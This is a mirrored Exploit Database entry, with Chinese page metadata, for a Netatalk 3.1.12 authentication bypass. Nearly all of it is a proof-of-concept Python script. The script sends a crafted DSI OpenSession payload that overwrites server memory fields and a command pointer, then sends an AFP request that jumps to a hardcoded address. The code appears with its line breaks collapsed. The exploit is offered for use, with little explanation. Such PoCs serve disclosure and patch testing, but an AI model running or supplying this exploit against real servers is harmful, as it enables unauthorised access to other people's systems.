Netatalk 3.1.12 – Authentication Bypass (PoC)

• Exploit Database
• 110 阅读

• 作者： Tenable NS
  日期： 2018-12-21
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/46048/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

  import socket import struct import sys if len(sys.argv) != 3: sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + ip + ":" + sys.argv[2] sock.connect((ip, port)) dsi_payload = "\x00\x00\x40\x00" # client quantum dsi_payload += '\x00\x00\x00\x00' # overwrites datasize dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr dsi_opensession = "\x01" # attention quantum option dsi_opensession += struct.pack("B", len(dsi_payload)) # length dsi_opensession += dsi_payload dsi_header = "\x00" # "request" flag dsi_header += "\x04" # open session command dsi_header += "\x00\x01" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(dsi_opensession)) dsi_header += "\x00\x00\x00\x00" # reserved dsi_header += dsi_opensession sock.sendall(dsi_header) resp = sock.recv(1024) print "[+] Open Session complete" afp_command = "\x01" # invoke the second entry in the table afp_command += "\x00" # protocol defined padding afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry afp_command += struct.pack("Q", 0x4295f0) # address to jump to dsi_header = "\x00" # "request" flag dsi_header += "\x02" # "AFP" command dsi_header += "\x00\x02" # request id dsi_header += "\x00\x00\x00\x00" # data offset dsi_header += struct.pack(">I", len(afp_command)) dsi_header += '\x00\x00\x00\x00' # reserved dsi_header += afp_command print "[+] Sending get server info request" sock.sendall(dsi_header) resp = sock.recv(1024) print resp print "[+] Fin."